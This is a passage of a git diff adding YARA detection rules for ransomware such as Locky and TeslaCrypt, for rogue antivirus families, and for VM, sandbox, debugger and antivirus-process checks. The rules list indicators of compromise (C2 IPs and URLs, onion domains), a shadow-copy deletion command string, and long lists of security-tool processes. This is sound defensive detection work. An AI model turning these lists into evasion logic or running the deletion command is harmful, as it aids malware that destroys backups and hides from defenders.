+		$s6 = "keme132.DLL" ascii wide
+		$s7 = "klospad.pdb" ascii wide
+
+	condition:
+		(any of ($s*)) or (3 of them)
+}
+
+rule RansomEncryptorRaaSApp
+{
+	meta:
+		Description  = "Ransom.EncryptorRaaS.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$s0 = "decryptoraveidf7.onion.to" ascii wide
+		$s1 = "encryptor_raas_readme_liesmich.txt" ascii wide
+		$s2 = "The files on your computer have been securely encrypted by Encryptor RaaS" ascii wide
+		$s3 = "Die Dateien auf Ihrem Computer wurden von Encryptor RaaS sicher verschluesselt" ascii wide
+		$s4 = "encryptor3awk6px.onion" ascii wide
+
+	condition:
+		any of ($s*)
+}
+
+rule RansomSampleTeslaCryptA
+{
+	meta:
+		Description  = "Ransom.TeslaCrypt.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "HOWTO_RESTORE_FILES.TXT" ascii wide nocase
+		$ = "HOWTO_RESTORE_FILES.bmp" ascii wide nocase
+		$ = "HOWTO_RESTORE_FILES.HTML" ascii wide nocase
+	condition:
+		any of them
+}
+
+rule RansomSampleTeslaCryptB
+{
+	meta:
+		Description  = "Ransom.TeslaCrypt.B.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "help_recover_instructions" ascii wide nocase
+		$ = "help_recover_instructions.TXT" ascii wide nocase
+		$ = "help_recover_instructions.png" ascii wide nocase
+	condition:
+		any of them
+}
+
+rule RansomSampleChimeraB
+{
+	meta:
+		Description  = "Ransom.Win32.Chimera.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "YOUR_FILES_ARE_ENCRYPTED.HTML" ascii wide nocase
+		$ = "Projects\\Ransom\\bin\\Release\\Core.pdb" ascii wide nocase
+		$ = "BM-2cW44Yq9DWbHYnRSfzBLVxvE6WjadchNBt" ascii wide nocase
+	condition:
+		any of them
+}
+
+rule RansomSampleLeChiffre
+{
+	meta:
+		Description  = "Ransom.Win32.LeChiffre.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "LeChiffre" ascii wide nocase
+		$ = "decrypt.my.files@gmail.com" ascii wide nocase
+		$ = "http://184.107.251.146/sipvoice.php?" ascii wide nocase
+		$ = "_secret_code.txt" ascii wide nocase
+		$ = "_How to decrypt LeChiffre files.html" ascii wide nocase
+	condition:
+		2 of them
+}
+
+rule RansomSampleHydraCrypt
+{
+	meta:
+		Description  = "Ransom.Win32.HydraCrypt.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "README_DECRYPT_HYDRA_ID_" ascii wide nocase
+		$ = "hydracrypt_ID_" ascii wide nocase
+		$ = "HYDRACRYPT" ascii wide nocase
+		$ = "ccc=hydra01_" ascii wide nocase
+	condition:
+		2 of them
+}
+
+rule RansomFilecoderA
+{
+	meta:
+		Description  = "Ransom.FileCoder.A.vb"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "Guji36" ascii wide
+		$ = "Burnamedoxi" ascii wide
+		$ = "S48H1G54JSPSODKMGdfH1FD5G8DSDPSDKMFSSJJPGMCNDHS2FH5" ascii wide
+	condition:
+		any of them
+}
+
+rule RansomSampleLockyCrypt
+{
+	meta:
+		Description  = "Ransom.Win32.Locky.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$s1 = ".locky" ascii wide nocase
+		$ = "&encrypted=" ascii wide nocase
+		$s2 = "_Locky_recover_instructions.txt" ascii wide nocase
+		$s3 = "_Locky_recover_instructions.bmp" ascii wide nocase
+		$ = "94.242.57.45" ascii wide nocase
+		$ = "46.4.239.76" ascii wide nocase
+		$s6 = "Software\\Locky" ascii wide nocase
+		$ = "vssadmin.exe Delete Shadows" ascii wide nocase
+		$ = "Locky" ascii wide nocase
+
+		$o1 = { 45 b8 99 f7 f9 0f af 45 b8 89 45 b8 } // address=0x4144a7
+		$o2 = { 2b 0a 0f af 4d f8 89 4d f8 c7 45 } // address=0x413863
+
+	condition:
+		(3 of them) or (any of ($s*)) or (all of ($o*))
+}
+
+rule RansomLocky
+{
+	meta:
+		Description  = "Ransom.Locky.ab"
+		ThreatLevel  = "5"
+	strings:
+		$mz = { 4d 5a }
+
+		$inst1 = "_HELP_instructions.bmp" ascii wide
+		$inst2 = "_HELP_instructions.html" ascii wide
+		$inst3 = "_HELP_instructions.txt" ascii wide
+		$inst4 = "_Locky_recover_instructions.bmp" ascii wide
+		$inst5 = "_Locky_recover_instructions.txt" ascii wide
+		$deleteShadows = "vssadmin.exe" ascii wide // universal Ransom detect :)
+
+		$cyrptEP1 = {e8 95 23 ff ff 86 c8 86 ea e9 8d 23 ff ff 86 f4 e9 84 23 ff ff 86 c5} // EP paked locy
+		$cyrptEP2 = {55 8b ec eb 68 eb 66 eb 64 6a 00 6a 00 6a 00 6a 00 6a 00} // EP packed locy 2
+	
+	condition:
+		( $mz at 0 ) and 
+		(
+			$cyrptEP1 at entrypoint or
+			$cyrptEP2 at entrypoint or 
+			(any of ($inst*)) or 
+			$deleteShadows
+		)
+}
+
+rule RansomImportDetect
+{
+	meta:
+		Description  = "Ransom.Gen.ab"
+		ThreatLevel  = "3"
+	condition:
+		(pe.imports("Kernel32.dll", "FindFirstFileW") or pe.imports("Kernel32.dll", "FindFirstFileA")) and
+		(pe.imports("Kernel32.dll", "FindNextFileW") or pe.imports("Kernel32.dll", "FindNextFileA")) and
+		(pe.imports("Advapi32.dll", "CryptAcquireContextW") or pe.imports("Advapi32.dll", "CryptAcquireContextA")) and
+		pe.imports("Advapi32.dll", "CryptEncrypt") and
+		pe.imports("Advapi32.dll", "CryptGenRandom")
+}
+
diff --git a/yara-mikesxrs/g00dv1n/Risk.DetectAnalysis.yar b/yara-mikesxrs/g00dv1n/Risk.DetectAnalysis.yar
new file mode 100644
index 0000000..d81fd1c
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Risk.DetectAnalysis.yar
@@ -0,0 +1,343 @@
+rule VMdetectMisc
+{
+	meta:
+		Description = "Risk.VMDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$vbox1 = "VBoxService" nocase ascii wide
+		$vbox2 = "VBoxTray" nocase ascii wide
+		$vbox3 = "SOFTWARE\\Oracle\\VirtualBox Guest Additions" nocase ascii wide
+		$vbox4 = "SOFTWARE\\\\Oracle\\\\VirtualBox Guest Additions" nocase ascii wide
+
+		$wine1 = "wine_get_unix_file_name" ascii wide
+
+		$vmware1 = "vmmouse.sys" ascii wide
+		$vmware2 = "VMware Virtual IDE Hard Drive" ascii wide
+
+		$miscvm1 = "SYSTEM\\ControlSet001\\Services\\Disk\\Enum" nocase ascii wide
+		$miscvm2 = "SYSTEM\\\\ControlSet001\\\\Services\\\\Disk\\\\Enum" nocase ascii wide
+
+		$vmdrv1 = "hgfs.sys" ascii wide
+		$vmdrv2 = "vmhgfs.sys" ascii wide
+		$vmdrv3 = "prleth.sys" ascii wide
+		$vmdrv4 = "prlfs.sys" ascii wide
+		$vmdrv5 = "prlmouse.sys" ascii wide
+		$vmdrv6 = "prlvideo.sys" ascii wide
+		$vmdrv7 = "prl_pv32.sys" ascii wide
+		$vmdrv8 = "vpc-s3.sys" ascii wide
+		$vmdrv9 = "vmsrvc.sys" ascii wide
+		$vmdrv10 = "vmx86.sys" ascii wide
+		$vmdrv11 = "vmnet.sys" ascii wide
+
+		$vmsrvc1 = "vmicheartbeat" ascii wide
+		$vmsrvc2 = "vmicvss" ascii wide
+		$vmsrvc3 = "vmicshutdown" ascii wide
+		$vmsrvc4 = "vmicexchange" ascii wide
+		$vmsrvc5 = "vmci" ascii wide
+		$vmsrvc6 = "vmdebug" ascii wide
+		$vmsrvc7 = "vmmouse" ascii wide
+		$vmsrvc8 = "VMTools" ascii wide
+		$vmsrvc9 = "VMMEMCTL" ascii wide
+		$vmsrvc10 = "vmware" ascii wide
+		$vmsrvc11 = "vmx86" ascii wide
+		$vmsrvc12 = "vpcbus" ascii wide
+		$vmsrvc13 = "vpc-s3" ascii wide
+		$vmsrvc14 = "vpcuhub" ascii wide
+		$vmsrvc15 = "msvmmouf" ascii wide
+		$vmsrvc16 = "VBoxMouse" ascii wide
+		$vmsrvc17 = "VBoxGuest" ascii wide
+		$vmsrvc18 = "VBoxSF" ascii wide
+		$vmsrvc19 = "xenevtchn" ascii wide
+		$vmsrvc20 = "xennet" ascii wide
+		$vmsrvc21 = "xennet6" ascii wide
+		$vmsrvc22 = "xensvc" ascii wide
+		$vmsrvc23 = "xenvdb" ascii wide
+
+		$miscproc1 = "vmware2" ascii wide
+		$miscproc2 = "vmount2" ascii wide
+		$miscproc3 = "vmusrvc" ascii wide
+		$miscproc4 = "vmsrvc" ascii wide
+		$miscproc5 = "vboxservice" ascii wide
+		$miscproc6 = "vboxtray" ascii wide
+		$miscproc7 = "xenservice" ascii wide
+
+		$vmware_mac_1a = "00-05-69"
+		$vmware_mac_1b = "00:05:69"
+		$vmware_mac_2a = "00-50-56"
+		$vmware_mac_2b = "00:50:56"
+		$vmware_mac_3a = "00-0C-29"
+		$vmware_mac_3b = "00:0C:29"
+		$vmware_mac_4a = "00-1C-14"
+		$vmware_mac_4b = "00:1C:14"
+		$virtualbox_mac_1a = "08-00-27"
+		$virtualbox_mac_1b = "08:00:27"
+
+	condition:
+		2 of them
+}
+
+rule SandboxDetectMisc
+{
+	meta:
+		Description = "Risk.SBDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$sbxie1 = "sbiedll" nocase ascii wide
+
+		$prodid1 = "55274-640-2673064-23950" ascii wide
+		$prodid2 = "76487-644-3177037-23510" ascii wide
+		$prodid3 = "76487-337-8429955-22614" ascii wide
+
+		$proc1 = "joeboxserver" ascii wide
+		$proc2 = "joeboxcontrol" ascii wide
+	condition:
+		any of them
+}
+
+rule avdetect_procs
+{
+	meta:
+		Description = "Risk.AVDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$proc2 = "LMon.exe" ascii wide
+		$proc3 = "sagui.exe" ascii wide
+		$proc4 = "RDTask.exe" ascii wide
+		$proc5 = "kpf4gui.exe" ascii wide
+		$proc6 = "ALsvc.exe" ascii wide
+		$proc7 = "pxagent.exe" ascii wide
+		$proc8 = "fsma32.exe" ascii wide
+		$proc9 = "licwiz.exe" ascii wide
+		$proc10 = "SavService.exe" ascii wide
+		$proc11 = "prevxcsi.exe" ascii wide
+		$proc12 = "alertwall.exe" ascii wide
+		$proc13 = "livehelp.exe" ascii wide
+		$proc14 = "SAVAdminService.exe" ascii wide
+		$proc15 = "csi-eui.exe" ascii wide
+		$proc16 = "mpf.exe" ascii wide
+		$proc17 = "lookout.exe" ascii wide
+		$proc18 = "savprogress.exe" ascii wide
+		$proc19 = "lpfw.exe" ascii wide
+		$proc20 = "mpfcm.exe" ascii wide
+		$proc21 = "emlproui.exe" ascii wide
+		$proc22 = "savmain.exe" ascii wide
+		$proc23 = "outpost.exe" ascii wide
+		$proc24 = "fameh32.exe" ascii wide
+		$proc25 = "emlproxy.exe" ascii wide
+		$proc26 = "savcleanup.exe" ascii wide
+		$proc27 = "filemon.exe" ascii wide
+		$proc28 = "AntiHook.exe" ascii wide
+		$proc29 = "endtaskpro.exe" ascii wide
+		$proc30 = "savcli.exe" ascii wide
+		$proc31 = "procmon.exe" ascii wide
+		$proc32 = "xfilter.exe" ascii wide
+		$proc33 = "netguardlite.exe" ascii wide
+		$proc34 = "backgroundscanclient.exe" ascii wide
+		$proc35 = "Sniffer.exe" ascii wide
+		$proc36 = "scfservice.exe" ascii wide
+		$proc37 = "oasclnt.exe" ascii wide
+		$proc38 = "sdcservice.exe" ascii wide
+		$proc39 = "acs.exe" ascii wide
+		$proc40 = "scfmanager.exe" ascii wide
+		$proc41 = "omnitray.exe" ascii wide
+		$proc42 = "sdcdevconx.exe" ascii wide
+		$proc43 = "aupdrun.exe" ascii wide
+		$proc44 = "spywaretermin" ascii wide
+		$proc45 = "atorshield.exe" ascii wide
+		$proc46 = "onlinent.exe" ascii wide
+		$proc47 = "sdcdevconIA.exe" ascii wide
+		$proc48 = "sppfw.exe" ascii wide
+		$proc49 = "spywat~1.exe" ascii wide
+		$proc50 = "opf.exe" ascii wide
+		$proc51 = "sdcdevcon.exe" ascii wide
+		$proc52 = "spfirewallsvc.exe" ascii wide
+		$proc53 = "ssupdate.exe" ascii wide
+		$proc54 = "pctavsvc.exe" ascii wide
+		$proc55 = "configuresav.exe" ascii wide
+		$proc56 = "fwsrv.exe" ascii wide
+		$proc57 = "terminet.exe" ascii wide
+		$proc58 = "pctav.exe" ascii wide
+		$proc59 = "alupdate.exe" ascii wide
+		$proc60 = "opfsvc.exe" ascii wide
+		$proc61 = "tscutynt.exe" ascii wide
+		$proc62 = "pcviper.exe" ascii wide
+		$proc63 = "InstLsp.exe" ascii wide
+		$proc64 = "uwcdsvr.exe" ascii wide
+		$proc65 = "umxtray.exe" ascii wide
+		$proc66 = "persfw.exe" ascii wide
+		$proc67 = "CMain.exe" ascii wide
+		$proc68 = "dfw.exe" ascii wide
+		$proc69 = "updclient.exe" ascii wide
+		$proc70 = "pgaccount.exe" ascii wide
+		$proc71 = "CavAUD.exe" ascii wide
+		$proc72 = "ipatrol.exe" ascii wide
+		$proc73 = "webwall.exe" ascii wide
+		$proc74 = "privatefirewall3.exe" ascii wide
+		$proc75 = "CavEmSrv.exe" ascii wide
+		$proc76 = "pcipprev.exe" ascii wide
+		$proc77 = "winroute.exe" ascii wide
+		$proc78 = "protect.exe" ascii wide
+		$proc79 = "Cavmr.exe" ascii wide
+		$proc80 = "prifw.exe" ascii wide
+		$proc81 = "apvxdwin.exe" ascii wide
+		$proc82 = "rtt_crc_service.exe" ascii wide
+		$proc83 = "Cavvl.exe" ascii wide
+		$proc84 = "tzpfw.exe" ascii wide
+		$proc85 = "as3pf.exe" ascii wide
+		$proc86 = "schedulerdaemon.exe" ascii wide
+		$proc87 = "CavApp.exe" ascii wide
+		$proc88 = "privatefirewall3.exe" ascii wide
+		$proc89 = "avas.exe" ascii wide
+		$proc90 = "sdtrayapp.exe" ascii wide
+		$proc91 = "CavCons.exe" ascii wide
+		$proc92 = "pfft.exe" ascii wide
+		$proc93 = "avcom.exe" ascii wide
+		$proc94 = "siteadv.exe" ascii wide
+		$proc95 = "CavMud.exe" ascii wide
+		$proc96 = "armorwall.exe" ascii wide
+		$proc97 = "avkproxy.exe" ascii wide
+		$proc98 = "sndsrvc.exe" ascii wide
+		$proc99 = "CavUMAS.exe" ascii wide
+		$proc100 = "app_firewall.exe" ascii wide
+		$proc101 = "avkservice.exe" ascii wide
+		$proc102 = "snsmcon.exe" ascii wide
+		$proc103 = "UUpd.exe" ascii wide
+		$proc104 = "blackd.exe" ascii wide
+		$proc105 = "avktray.exe" ascii wide
+		$proc106 = "snsupd.exe" ascii wide
+		$proc107 = "cavasm.exe" ascii wide
+		$proc108 = "blackice.exe" ascii wide
+		$proc109 = "avkwctrl.exe" ascii wide
+		$proc110 = "procguard.exe" ascii wide
+		$proc111 = "CavSub.exe" ascii wide
+		$proc112 = "umxagent.exe" ascii wide
+		$proc113 = "avmgma.exe" ascii wide
+		$proc114 = "DCSUserProt.exe" ascii wide
+		$proc115 = "CavUserUpd.exe" ascii wide
+		$proc116 = "kpf4ss.exe" ascii wide
+		$proc117 = "avtask.exe" ascii wide
+		$proc118 = "avkwctl.exe" ascii wide
+		$proc119 = "CavQ.exe" ascii wide
+		$proc120 = "tppfdmn.exe" ascii wide
+		$proc121 = "aws.exe" ascii wide
+		$proc122 = "firewall.exe" ascii wide
+		$proc123 = "Cavoar.exe" ascii wide
+		$proc124 = "blinksvc.exe" ascii wide
+		$proc125 = "bgctl.exe" ascii wide
+		$proc126 = "THGuard.exe" ascii wide
+		$proc127 = "CEmRep.exe" ascii wide
+		$proc128 = "sp_rsser.exe" ascii wide
+		$proc129 = "bgnt.exe" ascii wide
+		$proc130 = "spybotsd.exe" ascii wide
+		$proc131 = "OnAccessInstaller.exe" ascii wide
+		$proc132 = "op_mon.exe" ascii wide
+		$proc133 = "bootsafe.exe" ascii wide
+		$proc134 = "xauth_service.exe" ascii wide
+		$proc135 = "SoftAct.exe" ascii wide
+		$proc136 = "cmdagent.exe" ascii wide
+		$proc137 = "bullguard.exe" ascii wide
+		$proc138 = "xfilter.exe" ascii wide
+		$proc139 = "CavSn.exe" ascii wide
+		$proc140 = "VCATCH.EXE" ascii wide
+		$proc141 = "cdas2.exe" ascii wide
+		$proc142 = "zlh.exe" ascii wide
+		$proc143 = "Packetizer.exe" ascii wide
+		$proc144 = "SpyHunter3.exe" ascii wide
+		$proc145 = "cmgrdian.exe" ascii wide
+		$proc146 = "adoronsfirewall.exe" ascii wide
+		$proc147 = "Packetyzer.exe" ascii wide
+		$proc148 = "wwasher.exe" ascii wide
+		$proc149 = "configmgr.exe" ascii wide
+		$proc150 = "scfservice.exe" ascii wide
+		$proc151 = "zanda.exe" ascii wide
+		$proc152 = "authfw.exe" ascii wide
+		$proc153 = "cpd.exe" ascii wide
+		$proc154 = "scfmanager.exe" ascii wide
+		$proc155 = "zerospywarele.exe" ascii wide
+		$proc156 = "dvpapi.exe" ascii wide
+		$proc157 = "espwatch.exe" ascii wide
+		$proc158 = "dltray.exe" ascii wide
+		$proc159 = "zerospywarelite_installer.exe" ascii wide
+		$proc160 = "clamd.exe" ascii wide
+		$proc161 = "fgui.exe" ascii wide
+		$proc162 = "dlservice.exe" ascii wide
+		$proc163 = "Wireshark.exe" ascii wide
+		$proc164 = "sab_wab.exe" ascii wide
+		$proc165 = "filedeleter.exe" ascii wide
+		$proc166 = "ashwebsv.exe" ascii wide
+		$proc167 = "tshark.exe" ascii wide
+		$proc168 = "SUPERAntiSpyware.exe" ascii wide
+		$proc169 = "firewall.exe" ascii wide
+		$proc170 = "ashdisp.exe" ascii wide
+		$proc171 = "rawshark.exe" ascii wide
+		$proc172 = "vdtask.exe" ascii wide
+		$proc173 = "firewall2004.exe" ascii wide
+		$proc174 = "ashmaisv.exe" ascii wide
+		$proc175 = "Ethereal.exe" ascii wide
+		$proc176 = "asr.exe" ascii wide
+		$proc177 = "firewallgui.exe" ascii wide
+		$proc178 = "ashserv.exe" ascii wide
+		$proc179 = "Tethereal.exe" ascii wide
+		$proc180 = "NetguardLite.exe" ascii wide
+		$proc181 = "gateway.exe" ascii wide
+		$proc182 = "aswupdsv.exe" ascii wide
+		$proc183 = "Windump.exe" ascii wide
+		$proc184 = "nstzerospywarelite.exe" ascii wide
+		$proc185 = "hpf_.exe" ascii wide
+		$proc186 = "avastui.exe" ascii wide
+		$proc187 = "Tcpdump.exe" ascii wide
+		$proc188 = "cdinstx.exe" ascii wide
+		$proc189 = "iface.exe" ascii wide
+		$proc190 = "avastsvc.exe" ascii wide
+		$proc191 = "Netcap.exe" ascii wide
+		$proc192 = "cdas17.exe" ascii wide
+		$proc193 = "invent.exe" ascii wide
+		$proc194 = "Netmon.exe" ascii wide
+		$proc195 = "fsrt.exe" ascii wide
+		$proc196 = "ipcserver.exe" ascii wide
+		$proc197 = "CV.exe" ascii wide
+		$proc198 = "VSDesktop.exe" ascii wide
+		$proc199 = "ipctray.exe" ascii wide
+	condition:
+		3 of them
+}
+
+
+rule dbgdetect_procs
+{
+	meta:
+		Description = "Risk.DbgDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$proc1 = "wireshark" nocase ascii wide
+		$proc2 = "filemon" nocase ascii wide
+		$proc3 = "procexp" nocase ascii wide
+		$proc4 = "procmon" nocase ascii wide
+		$proc5 = "regmon" nocase ascii wide
+		$proc6 = "idag" nocase ascii wide
+		$proc7 = "immunitydebugger" nocase ascii wide
+		$proc8 = "ollydbg" nocase ascii wide
+		$proc9 = "petools" nocase ascii wide
+
+	condition:
+		2 of them
+}
+
+rule dbgdetect_files
+{
+	meta:
+		Description = "Risk.DbgDtc.sm"
+		ThreatLevel = "3"
+
+	strings:
+		$file1 = "syserdbgmsg" nocase ascii wide
+		$file2 = "syserboot" nocase ascii wide
+		$file3 = "SICE" nocase ascii wide
+		$file4 = "NTICE" nocase ascii wide
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Risk.NetFilter.yar b/yara-mikesxrs/g00dv1n/Risk.NetFilter.yar
new file mode 100644
index 0000000..bca385f
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Risk.NetFilter.yar
@@ -0,0 +1,26 @@
+rule RiskNetFilterSampleA
+{
+	meta:
+		Description  = "Risk.NetFilter.A.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\epfwwfp" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\epfwwfpr" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\nisdrv" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\symnets" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\klwfp" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\amoncdw8" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\amoncdw7" ascii wide
+        $ = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\bdfwfpf_pc" ascii wide
+        $ = "NFSDK Flow Established Callout" ascii wide
+        $ = "Flow Established Callout" ascii wide
+        $ = "NFSDK Stream Callout" ascii wide
+        $ = "Stream Callout" ascii wide
+        $ = "\\Device\\CtrlSM" ascii wide
+        $ = "\\DosDevices\\CtrlSM" ascii wide
+
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/g00dv1n/Rogue.AVSoft.yar b/yara-mikesxrs/g00dv1n/Rogue.AVSoft.yar
new file mode 100644
index 0000000..7e2536c
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.AVSoft.yar
@@ -0,0 +1,40 @@
+rule RogueDownloaderLoaderAVSoftA
+{
+	meta:
+		Description  = "Trojan.Loader.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "/info.php?idd=" ascii wide
+		$ = "{95B8F20E-4BC6-4E22-9442-BFB69ED62879}" ascii wide
+		//$ = "CheckExeSignatures" ascii wide
+		//$ = "RunInvalidSignatures" ascii wide
+		$ = "ELEVATECREATEPROCESS" ascii wide
+		$ = "srvdev.dll" ascii wide
+		//$ = "EntryPoint" ascii wide
+
+	condition:
+		3 of them
+}
+
+rule RogueModuleAVSoftA
+{
+	meta:
+		Description  = "Rogue.AVSoft.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "sec-red-alert-s.gif" ascii wide
+		$ = "sec-red-alert-b.gif" ascii wide
+		$ = "scaning.gif" ascii wide
+		$ = "scaning-stopped.gif" ascii wide
+		$ = "rezult-table-head-bg.gif" ascii wide
+		$ = "banner-get-protection.gif" ascii wide
+		$ = "netalrt.htm" ascii wide
+		$ = "alrt.htm" ascii wide
+
+		$hex1 = { e8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? e8 ?? ?? ?? ?? 3b ?? ?? ?? ?? ?? 73 ?? e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 84 c0 75 ?? e8 ?? ?? ?? ?? 6a 1e 99 59 f7 f9 83 c2 14 69 d2 60 ea 00 00 52 ff d7 e8 ?? ?? ?? ?? 83 f8 01 75 ?? e8 ?? ?? ?? ??}
+
+	condition:
+		(3 of them) or ( any of ($hex*))
+}
diff --git a/yara-mikesxrs/g00dv1n/Rogue.Braviax.yar b/yara-mikesxrs/g00dv1n/Rogue.Braviax.yar
new file mode 100644
index 0000000..8f9fb1e
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.Braviax.yar
@@ -0,0 +1,39 @@
+rule RogueBraviaxSampleA
+{
+    meta:
+        Description = "Rogue.Braviax.sm"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "background_gradient_red.jpg" ascii wide
+		$ = "red_shield_48.png" ascii wide
+		$ = "pagerror.gif" ascii wide
+		$ = "green_shield.png" ascii wide
+		$ = "refresh.gif" ascii wide
+		$ = "red_shield.png" ascii wide
+		$ = "avp:scan" ascii wide
+		$ = "avp:site" ascii wide
+		$str1 = "Trojan-BNK.Win32.Keylogger.gen" ascii wide
+		$str2 = "Trojan-PSW.Win32.Coced.219" ascii wide
+		$str3 = "Email-Worm.Win32.Eyeveg.f" ascii wide
+		$str4 = "Virus.BAT.Batalia1.840" ascii wide
+		$str5 = "Trojan-SMS.SymbOS.Viver.a" ascii wide
+		$str6 = "Trojan-Spy.HTML.Bankfraud.jk" ascii wide
+		$str7 = "glohhstt7.com" ascii wide
+		//$str8 = "Zorton" ascii wide
+		//$str9 = "Rango" ascii wide
+		//$str10 = "Sirius" ascii wide
+		//$str11 = "A-Secure" ascii wide
+		$str12 = "%1 Protection 201" ascii wide
+		$str13 = "%1 Antivirus 201" ascii wide
+		$str14 = "siriuc2014.com" ascii wide
+		$str15 = "siriucs2016.com" ascii wide
+		$str16 = "zorton2016.com" ascii wide
+		$str17 = "zorton2015.com" ascii wide
+		$str18 = "stormo10.com" ascii wide
+		$str19 = "fscurat20.com" ascii wide
+		$str20 = "fscurat21.com" ascii wide
+
+    condition:
+        (3 of them) or (any of ($str*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Rogue.FakePAV.yar b/yara-mikesxrs/g00dv1n/Rogue.FakePAV.yar
new file mode 100644
index 0000000..1fb3c9c
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.FakePAV.yar
@@ -0,0 +1,31 @@
+rule RogueFakePAVSample
+{
+    meta:
+        Description = "Rogue.FakePAV.sm"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "ZALERT" ascii wide
+		$ = "ZAPFrm" ascii wide
+		$ = "ZAbout" ascii wide
+		$ = "ZAutoRunFrame" ascii wide
+		$ = "ZCheckBox" ascii wide
+		$ = "ZCplAll" ascii wide
+		$ = "ZFogWnd" ascii wide
+		$ = "ZFrameDEt" ascii wide
+		$ = "ZIEWnd" ascii wide
+		$ = "ZMainFrame" ascii wide
+		$ = "ZMainWnd" ascii wide
+		$ = "ZOptionsFrame" ascii wide
+		$ = "ZProcessFrame" ascii wide
+		$ = "ZProgressBar" ascii wide
+		$ = "ZPromo" ascii wide
+		$ = "ZReg" ascii wide
+		$ = "ZResFR" ascii wide
+		$ = "ZServiceFrame" ascii wide
+		$ = "ZUpdate" ascii wide
+		$ = "ZWarn" ascii wide
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Rogue.FakeRean.yar b/yara-mikesxrs/g00dv1n/Rogue.FakeRean.yar
new file mode 100644
index 0000000..07150f9
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Rogue.FakeRean.yar
@@ -0,0 +1,128 @@
+rule RogueFakeDefenderSample
+{
+	meta:
+		Description  = "Rogue.FakeDef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "pcdfdata" 		ascii wide
+		$b = "toplevel_pcdef" 	ascii wide
+		
+		$ = "%spld%d.exe" ascii wide
+		$ = "avsrun.exe" ascii wide
+		$ = "avsdel.exe" ascii wide
+		
+		$ = "vl.bin" ascii wide
+		$ = "reginfo.bin" ascii wide
+		
+		$ = "%s%s.lnk" ascii wide
+		$ = "%sRemove %s.lnk" ascii wide
+		$ = "Uninstaller application" ascii wide
+		$ = "%s%s Help and Support.lnk" ascii wide
+		
+		$ = "pavsdata" ascii wide
+		$ = "avsmainwnd" ascii wide
+		$ = "avsdsvc" ascii wide
+		$ = "ovcf" ascii wide
+		
+		$ = "Global\\avsinst" ascii wide
+		$ = "Global\\avscfglock" ascii wide
+		$ = "\\loc\\reg\\conn\\activate" ascii wide
+		$ = "\\forms\\alerts\\vulner" ascii wide
+		$ = "\\forms\\alerts\\hack" ascii wide
+		
+		$ = "Software\\Classes\\.exe" ascii wide
+		
+		$ = "%s was infected with %s and has been successfully repaired" ascii wide
+		$ = "Attack %s from remote host %d.%d.%d.%d has been successfully blocked" ascii wide
+			
+		$ = "http://%s/api/ping?stage=1&uid=%S&id=%d&subid=%d&os=%d&avf=%d" ascii wide
+		$ = "http://%s/api/ping?stage=2&uid=%S&success=%d" ascii wide
+		$ = "http://%s/api/ping?stage=3&uid=%S" ascii wide
+		$ = "http://%s/content/scc" ascii wide
+		$ = "http://%s/postload2/?uid=%S" ascii wide
+		$ = "http://%S/api/test" ascii wide
+		$ = "http://%s/load/?uid=%S" ascii wide
+		$ = "http://%s/html/viruslist/?uid=%S" ascii wide
+		$ = "https://%s/billing/key/?uid=%S" ascii wide
+		$ = "https://%s/html/billing/?uid=%S" ascii wide
+
+	condition:
+		3 of them
+}
+
+rule RogueFakeReanInternetSecuritySample
+{
+	meta:
+		Description  = "Rogue.FakeRean.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "VB82ea936a-6aa61dbf" ascii wide
+		$ = "VBOX HARDDISK" ascii wide
+		$ = "avbase.dat" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "ORDER #:" ascii wide
+		$ = "Thank you, the program is now registered!" ascii wide
+		$ = "To continue please restart the program. Press OK to close the program." ascii wide
+		$ = "Wrong activation code! Please check and retry" ascii wide
+		$ = "license. As soon as you complete the activation you will" ascii wide
+		$ = "This option is available only in the activated version of " ascii wide
+		$ = "You must activate the program by entering registration information " ascii wide
+		$ = "has detected that a new Threat Database is available." ascii wide
+		$ = "items are critical privacy compromising content"
+		$ = "items is medium privacy threats" ascii wide
+		$ = "items are junk content of low privacy threats" ascii wide
